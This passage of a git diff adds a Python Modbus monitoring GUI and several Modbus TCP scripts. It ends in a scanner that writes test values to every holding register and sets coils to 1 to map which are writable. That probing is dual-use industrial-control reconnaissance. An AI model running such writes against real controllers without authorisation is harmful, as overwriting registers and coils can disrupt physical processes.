calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + 